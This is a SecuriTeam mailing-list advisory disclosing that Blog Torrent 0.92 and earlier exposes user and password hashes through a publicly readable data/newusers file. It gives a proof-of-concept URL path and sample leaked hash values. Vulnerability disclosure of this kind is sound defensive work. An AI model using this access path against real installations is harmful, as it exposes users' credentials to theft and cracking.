[UNIX] Blog Torrent Remote User and Password Disclosure

The following security advisory is sent to the securiteam mailing list, and can 
be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html 

- - - - - - - - -



  Blog Torrent Remote User and Password Disclosure
------------------------------------------------------------------------


SUMMARY

" <http://www.blogtorrent.com/> Blog Torrent is free, open-source software 
from  <http://www.downhillbattle.org/> Downhill Battle that provides an 
easy way to share large files on your website without large storage or 
bandwidth costs."

Blog Torrent has been found to contain a vulnerability that allows 
attackers to disclose the product's user and password hashes.

DETAILS

Vulnerable Systems:
 * BlogTorrent versions 0.92 and prior

Proof of concept:
http://test/path_of_blog/data/newusers :
d40:14ae696abdca1688dd577fe486c3981f331457b0d7:Createdi1120957648e5:
Email17:email@email4:Hash40:d7b82821fe725305bded2fab9e91ed1e0e6fd93bee

Username (crypt in md5) ->  14ae696abdca1688dd577fe486c3981f331457b0d7
Password  (crypt in md5) ->  d7b82821fe725305bded2fab9e91ed1e0e6fd93bee


ADDITIONAL INFORMATION

The information has been provided by  <mailto:LazyCrs@xxxxxxxxx> LazyCrs.
The information has been provided by  <mailto:pjphem@xxxxxxxx> pjphem.
The original article can be found at:  
<http://www.milw0rm.com/id.php?id=1097> 
http://www.milw0rm.com/id.php?id=1097



======================================== 


This bulletin is sent to members of the SecuriTeam mailing list. 
To unsubscribe from the list, send mail with an empty subject line and body to: 
list-unsubscribe@xxxxxxxxxxxxxx 
In order to subscribe to the mailing list, simply forward this email to: 
list-subscribe@xxxxxxxxxxxxxx 


==================== 
==================== 

DISCLAIMER: 
The information in this bulletin is provided "AS IS" without warranty of any 
kind. 
In no event shall we be liable for any damages whatsoever including direct, 
indirect, incidental, consequential, loss of business profits or special 
damages.